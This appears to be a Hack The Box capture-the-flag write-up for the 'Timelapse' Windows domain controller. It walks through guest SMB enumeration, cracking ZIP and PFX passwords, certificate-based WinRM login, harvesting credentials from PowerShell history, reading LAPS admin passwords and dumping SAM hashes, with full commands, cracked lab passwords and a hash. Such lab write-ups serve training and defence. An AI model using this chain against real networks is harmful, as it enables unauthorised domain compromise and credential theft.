HTB - Timelapse
Target IP: 10.129.227.113
Domain: timelapse.htb
DC Hostname: DC01.timelapse.htb
OS: Windows Server 2019
Difficulty: Easy
Assumed Breach: No - initial access via unauthenticated enumeration
Author: [g1nt0n1x]
Ⓩ - zbulim notation: Steps marked with Ⓩ were performed automatically by zbulim, my automated recon tool. They are shown manually here for proof of concept and documentation purposes.
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery Ⓩ
Standard AD DC fingerprint. Full nmap output omitted - targeted scan run automatically by zbulim.
Key ports identified:
| Port | Service | Notes |
|---|---|---|
| 88/tcp | Kerberos | Domain Controller confirmed |
| 389/tcp | LDAP | Domain: timelapse.htb, DC: DC01 |
| 445/tcp | SMB | Signing required - relay attacks blocked |
| 5985/tcp | WinRM | Remote shell entry point - supports both password and certificate auth |
2. Phase 2: Unauthenticated Enumeration
2.1 Guest Session - Share Enumeration Ⓩ
Null session was not allowed. Guest login succeeded:
nxc smb 10.129.227.113 -u 'guest' -p '' --shares
# Share Permissions
# Shares READ <- Non-standard2.2 Spider Share Contents Ⓩ
nxc smb 10.129.227.113 -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
cp -r /home/kali/.nxc/modules/nxc_spider_plus/10.129.227.113/ .
tree -a
# └── Shares
# └── Dev
# └── winrm_backup.zipA password-protected zip in a Dev share. The filename winrm_backup.zip tells us exactly what’s inside before we even open it - a WinRM authentication artifact.
3. Phase 3: Cracking the ZIP & PFX - Certificate-Based WinRM Auth
This is the most technical part of the box. The chain is:
winrm_backup.zip (password-protected ZIP)
└── legacyy_dev_auth.pfx (password-protected PFX/PKCS#12 archive)
├── SSL Certificate (.crt) - proves identity
└── Private Key (.key) - used to sign the TLS handshake
Both the ZIP and the PFX inside it have separate passwords. We crack them one at a time.
3.1 Crack the ZIP Password
zip2john extracts the ZIP encryption metadata into a hash format that John the Ripper can attack:
zip2john winrm_backup.zip > winrm_backup.zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup.zip.hash
# supremelegacy (winrm_backup.zip)unzip -P supremelegacy winrm_backup.zip
# inflating: legacyy_dev_auth.pfx3.2 What is a PFX File?
A PFX (also called PKCS#12 or .p12) is a binary archive that bundles together:
- A certificate - a signed document that says “this public key belongs to legacyy_dev”
- A private key - the secret key that proves you own the certificate
Think of it like a passport (certificate) stapled to the secret that proves it’s really yours (private key). Together they let you authenticate to services that trust the certificate - including WinRM.
The PFX itself is encrypted with a separate password to protect the private key inside.
3.3 Crack the PFX Password
# pfx2john converts the PFX encryption into a crackable hash
pfx2john.py legacyy_dev_auth.pfx > legacyy_dev_auth.pfx.hash
john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx.hash
# thuglegacy (legacyy_dev_auth.pfx)Note: the PFX password (thuglegacy) is different from the ZIP password (supremelegacy). Two separate passwords, two separate cracking steps.
For Python3 users: pfx2john.py may output the hash with
b'and'wrapping it. Strip those before feeding to John or it will fail to parse the hash.
3.4 Extract Certificate and Private Key from the PFX
Now that we know the PFX password, we extract its contents with openssl:
# Extract the private key (-nocerts) - -nodes means no passphrase on the output key
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key -nodes
# Extract the certificate (-nokeys = no private key in output)
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crtWhat each flag does:
-nocerts- only output the private key, skip the certificate-nokeys- only output the certificate, skip the private key-nodes- “no DES” - write the private key unencrypted (no passphrase protection on the output file)-clcerts- only output the end-entity (client) certificate, not any CA certificates in the chain
We now have two files: legacyy_dev_auth.key and legacyy_dev_auth.crt.
3.5 Authenticate via Certificate - WinRM
WinRM supports two authentication methods: password-based (NTLM/Kerberos) and certificate-based (TLS client auth). The -S flag tells evil-winrm to use HTTPS (required for cert auth):
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt
# *Evil-WinRM* PS C:\Users\legacyy\Documents>We authenticated as legacyy without ever knowing their password - the certificate alone proved our identity to WinRM.
4. Phase 4: Post-Exploitation - PowerShell History
4.1 Check PSReadLine History
PowerShell saves every command you type to a history file. This is the equivalent of .bash_history on Linux - and just as dangerous when credentials are typed directly into the terminal.
ls $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine
# ConsoleHost_history.txt
cat $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt# Contents:
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)A previous user ran a script that created a credential object with a plaintext password. The full command - including the password - was logged to history.
Credentials found: svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
4.2 Validate & Pivot
nxc winrm 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
# [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)
evil-winrm -i 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'5. Phase 5: Privilege Escalation - LAPS_Readers
5.1 Enumerate Group Memberships
net user svc_deploy
# Local Group Memberships: *Remote Management Use
# Global Group memberships: *LAPS_Readers *Domain Users
svc_deploy is a member of LAPS_Readers - a group with permission to read LAPS-managed local administrator passwords from AD.
5.2 What is LAPS?
LAPS (Local Administrator Password Solution) is a Microsoft tool that automatically manages the local Administrator password on every domain-joined machine. Instead of every machine sharing the same local admin password (a common misconfiguration), LAPS:
- Generates a unique, random password for the local Administrator on each machine
- Stores it as an attribute (
ms-mcs-admpwd) on the computer object in AD - Rotates it automatically on a schedule
This prevents lateral movement via shared local admin credentials. However, the passwords are readable by anyone in the designated LAPS_Readers group - which is exactly where svc_deploy sits.
5.3 Read the LAPS Password
Option 1 - PowerShell (on the target):
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} `
-prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
# ms-mcs-admpwd: #4v+$t(KAasITd2F/7%81J;ROption 2 - nxc (remote, from Kali):
nxc ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
# Computer: DC01$ Password: #4v+$t(KAasITd2F/7%81J;R5.4 Authenticate as Administrator
nxc smb 10.129.227.113 -u administrator -p '#4v+$t(KAasITd2F/7%81J;R'
# [+] timelapse.htb\administrator:#4v+$t(KAasITd2F/7%81J;R (Pwn3d!)5.5 Dump SAM Hashes
nxc smb 10.129.227.113 -u administrator -p '#4v+$t(KAasITd2F/7%81J;R' --sam
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:6b16cb063fdaddb773ba256dd72a14b7:::Domain compromised.
Deep Dive: PFX / PKCS#12 Certificate Authentication
How Certificate-Based WinRM Auth Works
Normal WinRM with a password works like this:
- Client sends username + password
- Server validates against AD (NTLM or Kerberos)
Certificate-based WinRM works differently:
- During the TLS handshake, the client presents its certificate
- The server checks: is this certificate signed by a trusted CA? Does the certificate’s Subject Alternative Name (SAN) map to a valid AD account?
- If both checks pass, the user is authenticated - no password needed
The certificate essentially says “I am legacyy_dev, and the domain CA vouches for that.” The private key proves you actually own the certificate (because only the key holder can complete the TLS handshake).
Why This Is a Useful Attack Surface
Certificate-based auth bypasses password-based monitoring and controls:
- Password spray detection - irrelevant
- Account lockout policies - irrelevant
- Password expiry - irrelevant (certificate has its own validity period)
If you find a PFX file, you potentially have persistent access to an account that survives password resets - as long as the certificate is still valid and trusted.
The Two Passwords Explained
| Layer | What’s encrypted | Password used | Why |
|---|---|---|---|
| ZIP archive | The PFX file itself | supremelegacy | Protect the PFX in transit/storage |
| PFX/PKCS#12 | The private key inside | thuglegacy | Protect the private key from extraction |
The ZIP password protects the file at rest. The PFX password protects the private key even if someone gets the file. Two independent layers of protection - both crackable with a dictionary attack here.
Deep Dive: PowerShell History as a Credential Source
PSReadLine is a PowerShell module that provides command history, tab completion, and syntax highlighting. By default it saves every command typed in interactive sessions to:
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
This file is:
- Persistent - survives reboots, survives user logouts
- Readable by the user (and anyone who compromises their account)
- Not cleared unless manually deleted or overwritten
Why Credentials End Up Here
When administrators run scripts or one-liners interactively, the full command including any inline passwords gets saved to history. Common patterns:
# Credential objects created inline
$c = New-Object PSCredential('user', (ConvertTo-SecureString 'password' -AsPlainText -Force))
# Net commands with passwords
net use \\server\share /user:domain\user password
# Invoke-WebRequest with auth
Invoke-WebRequest -Uri http://server -Credential (Get-Credential)
# (if they typed the password into a script instead of the prompt)Always Check PS History After Initial Access
# Current user
cat $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# All users (requires admin)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt |
Get-ContentDeep Dive: LAPS (Local Administrator Password Solution)
The Problem LAPS Solves
Before LAPS, it was common for all machines in a domain to share the same local Administrator password - set once during imaging and never changed. If an attacker compromised one machine and dumped the local SAM, they could instantly move laterally to every other machine in the domain with that same password.
LAPS solves this by making every machine’s local admin password unique and randomly generated.
How LAPS Works
[Group Policy] ─► [LAPS Agent on each machine]
|
├─ Generates random password for local Administrator
├─ Sets the password on the local account
└─ Writes it to AD: computer object attribute ms-mcs-admpwd
|
[LAPS_Readers group]
can read this attribute
The password is stored in plaintext in AD (it’s protected by AD’s access control, not encryption). Anyone in LAPS_Readers can read it with a single LDAP query.
Why LAPS_Readers Membership = Local Admin on All LAPS Machines
# nxc reads ms-mcs-admpwd via LDAP - works for any account in LAPS_Readers
nxc ldap <dc-ip> -u <laps_reader> -p <pass> -M lapsThe -M laps module queries the ms-mcs-admpwd attribute on all computer objects. If the account has read access, it returns the current password for every LAPS-managed machine.
On this box, DC01 itself is LAPS-managed - so reading the LAPS password gives us the DC’s local Administrator, which is effectively Domain Admin on a standalone DC.
LAPS vs No LAPS: Attack Surface
| Scenario | Risk |
|---|---|
| No LAPS, shared local admin password | Compromise one machine = compromise all machines |
| LAPS enabled, LAPS_Readers over-permissioned | Compromise any LAPS_Reader account = read all local admin passwords |
| LAPS enabled, LAPS_Readers tightly controlled | Local admin compromise stays local to that one machine |
LAPS reduces the blast radius of lateral movement - but only if the LAPS_Readers group is tightly controlled.
Key Takeaways & Checklist
- Non-standard shares (
Dev,Shares,Backup) almost always contain something - spider everything - Password-protected ZIPs and PFXs in shares are a goldmine -
zip2john+pfx2john+ john - PFX = certificate + private key bundled together - extract with openssl, use for certificate-based WinRM auth
- Two separate passwords: one for the ZIP, one for the PFX inside - crack both separately
evil-winrm -S -k key -c certauthenticates via certificate, no password needed- Always check PS history after gaining any shell:
ConsoleHost_history.txtunder%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ LAPS_Readersgroup membership = read plaintext local admin passwords from AD for all LAPS-managed machinesnxc ldap -M lapsretrieves LAPS passwords remotely in one command- On a standalone DC with LAPS, the local Administrator = effectively Domain Admin